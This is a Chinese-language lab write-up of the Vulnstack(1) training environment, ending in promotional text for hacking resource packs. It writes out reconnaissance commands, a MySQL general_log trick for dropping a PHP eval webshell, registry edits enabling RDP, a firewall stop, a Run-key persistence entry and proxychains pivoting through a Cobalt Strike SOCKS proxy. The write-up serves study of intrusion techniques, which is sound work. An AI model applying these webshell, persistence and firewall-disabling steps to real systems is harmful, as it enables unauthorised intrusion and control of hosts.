0x00 Preface
网上有很多关于 Vulnstack(一) 的优质文章,本篇文章仅用于记录笔者自身的学习过程。因能力有限,过程中多多少少存在不完善的地方或是未解决的问题,日后有机会会补充上。
内网渗透基础总结:手把手教你如何进行内网渗透
0x01 环境准备
共有三台机器,Win7是对外的web机,Win2003和Win2008(DC)是内网机器。
-
VM1(Win7)添加一块网卡,分别设置为:VMnet1(仅主机模式)、VMnet8(NAT模式)
-
VM2(Win2003)网卡设置为:VMnet1(仅主机模式)
-
VM2(Win2008)网卡设置为:VMnet1(仅主机模式)
导入虚拟机后不要过多操作如移除打印机等,否则可能会出现一些问题。建议大家每次打开靶机时都先打开Win2008(DC)再打开Win7和Win2003,关闭靶机是先关闭Win7和Win2003再关闭Win2008(DC),尽量避免出现环境问题吧。
首先打开Win2008(DC),使用域成员账号 GOD\liukaifeng01 初始密码 hongrisec@2019 登录,提示密码已过期,更改密码为 hongrisec@2021。接着切换用户,使用域管理员账号 GOD\Administrator 重复上述操作。最后重启Win2008,域数据联网更新后密码将自动同步至Win7与Win2003(域成员账号密码均存储在DC中,域数据更新同步前仍使用本地缓存的密码进行认证)。打开Win7提示激活,直接取消即可:
找到并打开phpstudy.exe,启动服务(若启动失败,重启Win7即可):
打开Firefox访问localhost,已确认服务启动:
整理一下:
攻击机kali:192.168.202.130
域成员Win7:192.168.202.132&192.168.52.143
域控Win2008:192.168.52.138
域成员Win2003:192.168.52.141
DNS服务器:192.168.52.138
当然喽,这是我们站在上帝视角,便于我们确认环境无误的。正常来说,拿到Win7的IP,然后开始我们的渗透之旅。
0x02 信息收集
一、探测靶机IP
使用nmap对同一C段主机进行扫描:
nmap -sP 192.168.202.1/24
使用arp-scan对同网段主机进行扫描:
arp-scna -l
在靶机上执行ifconfig
进行确认(实战中拿下靶机前无法实现这一步):
二、端口扫描
使用nmap对靶机进行全扫描(扫描前确保phpstudy的服务已成功启动):
nmap -Pn -A 192.168.202.129
使用御剑对靶机进行全扫描:
三、目录扫描
使用dirb对靶机进行目录扫描 :
dirb "http://192.168.202.132"
使用dirmap对靶机进行目录扫描:
python3 dirmap.py -i 192.168.202.132 -lcf
四、指纹识别
使用whatweb对靶机上的网站进行指纹识别:
whtaweb http://192.168.202.132
使用御剑对靶机上的网站进行指纹识别:
使用cmscan对靶机上的网站进行指纹识别:
指纹识别依托于目录爆破,没有扫描到关键的cms信息既可能是字典的问题,也可能是靶机上根本就没有部署这样的网站。
0x03 漏洞探测
访问http://192.168.202.132/phpifno.php:
phpinfo.php中存在许多关键信息,不过要具体漏洞具体分析。
访问http://192.168.202.132/phpmyadmin:
此处可能存在session包含和弱口令,如果成功登录不仅可以可以在数据库中翻阅用户敏感信息,还可以尝试日志包含或直接向文件中写shell。
访问http://192.168.202.132/beifen.rar,解压缩后得到yxcms文件夹:
YXcms是一款基于PHP+MySql开发的网站管理系统,采用轻量级MVC设计模式。
在\protected\config.php中找到phpmyadmin的用户名和密码:
尝试访问http://192.168.202.132/yxcms:
访问成功,并在公告信息处找到后台路径及用户名和密码,若成功登陆则可尝试写shell。
0x04 漏洞利用
一、phpmyadmin
登录phpmyadmin,查看用户权限:
show grants for root@localhost;
查看secure_file_priv:
show variables like "secure";
查看general_log和general_log_file:
show variables like "%general%";
打开日志并修改日志路径:
set global general_log="on"; #开启日志
set global general_log_file="C:/phpStudy/WWW/a.php" #修改日志路径
需要注意的是,secure_file_priv的值无法通过上述方法进行修改:
MySQL 文件读写
写shell后一键连接:
select "<?php @eval($_POST['a']); ?>";
二、yxcms
登录后台尝试写shell:
编辑index_index.php(path:/yxcms/index.php),写shell后一键连接:
0x05 权限提升
使用CS建立监听后生成可执行木马:
使用shell上传:
shell中执行:
成功上线:
进行漏洞提权:
成功获取system权限:
0x06 远程登录
获取凭证:
查看3389端口是否开启:
netstat -ano|findstr "3389"
开启3389端口:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
补充一下,关闭3389端口&开启3389端口的另一种方法:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
远程连接:
远程连接失败,本地ping一下试试:
无法ping通,猜测受到防火墙阻拦,关闭防火墙:
net stop mpssvc
成功关闭后仍无法ping通,远程连接失败:
使用CS可以轻松连接,但延迟会很高:
0x07 权限维持
将C:/phpStudy/WWW/artifact.exe添加为注册表启动项:
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v evil /t REG_SZ /d "C:\phpStudy\WWW\artifact.exe" /f
关闭Win7并重启CS:
重启Win7,未能成功上线,权限维持失败。经检验,在shell中执行的命令未能生效,而在本地执行该命令就能成功创建:
具体原因暂且不详,也可以尝试一下其他方法如写入Startup目录,或者直接使用CS插件。
0x08 横向移动
一、内网穿透
正常来说,我们是无法访问通过Win7的内网IP访问服务的:
因此想要漫游内网,就必须要进行内网穿透。这里我们以Win7为跳板,给它挂上代理:
然后随便选择一个未被占用的端口,这里我选的是9050:
然后使用proxychain为kali挂上代理:
vim /etc/proxychains4.conf
使用代理,成功通过Win7内网IP访问服务:
proxychains4 curl http://192.168.52.143
需要注意的是,不要用ping进行验证,因为proxychains只会代理TCP连接,而ping使用的是ICMP。
这里延申一下,起初我以为通过CS实现的代理仅是简单的正向连接,但实际情况却与之不符。如果使用的是正向连接,那么9050端口就应该是在跳板机(Win7)上打开的,但经查实9050端口却是在kali上打开的:
这也就是为什么我们前面使用proxychains设置代理时使用的是127.0.0.1 9050,而不是Win7的192.168.202.132 9050。
故我猜测,通过CS内置功能([beacon] → Pivoting → SOCKS Server)实现的SOCKS v4代理,实质上是通过反弹SOCKS v4服务器实现的:kali开启9050监听和xxx监听(将9050端口的流量转发至xxx端口)然后Win7反弹SOCKS v4服务器到kali的xxx端口。
这样以来就符合实际情况了,kali上所有经过9050的端口的流量都将被转发至xxx端口,xxx端口再将流量转发至Win7,最后再通过Win7访问其他内网机器。由于这里CS服务端和客户端都是在kali上运行的,因此kali既充当攻击机,又充当公网VPS。
举一反三,假设CS的服务端是在Unbuntu上运行的,kali仍作为攻击机运行CS客户端,那么proxychains应该怎么设置呢?没猜错的话应该设置成Unbuntu的IP吧。
二、信息收集
查看域信息:
net view
共发现三台主机。注意这里不要使用提权后的system用户去执行命令,否则不会显示Win7的STU1,此外还会导致后面的一些命令无法执行。
查看DNS服务器:
ipconfig/all
查看当前登录域与用户信息:
net config workstation
这条命令查询到的信息非常全,包含上条命令查询到的DNS服务器。
前面的命令在CS中都以shell开头,指明执行的是cmd命令。下面我们通过CS内置的功能进行信息收集(前面已经完成了内网穿透,使用kali上的nmap等工具也行,这里不再进行演示)。
探测域内存活主机:
不对啊,这45.xx.xx.xx是几个意思?应该是环境问题,确保三台靶机都是开启状态再执行一次:
感觉还是有问题的,不知道是什么原因导致的,暂且不管了。
端口扫描:
这次的IP应该是正确的了,端口扫描发现三台主机均开启了139端口:
445/139端口怎么利用不用多说了吧,不了解的自行百度。
三、漏洞利用
首先我们开启一个SMB监听:
然后利用CS内置的jump模块进行传递:
0x09 Summary
整体来说比较简单,过一段时间会再用msf走一遍这个靶场,到时候再做补充。
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
网络安全学习资源分享:
给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
【点击免费领取】CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。【点击领取视频教程】
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】
(都打包成一块的了,不能一一展开,总共300多集)
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
👋全套《黑客&网络安全入门&进阶学习资源包》👇👇👇
这份完整版的学习资料已经上传CSDN,也可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费
】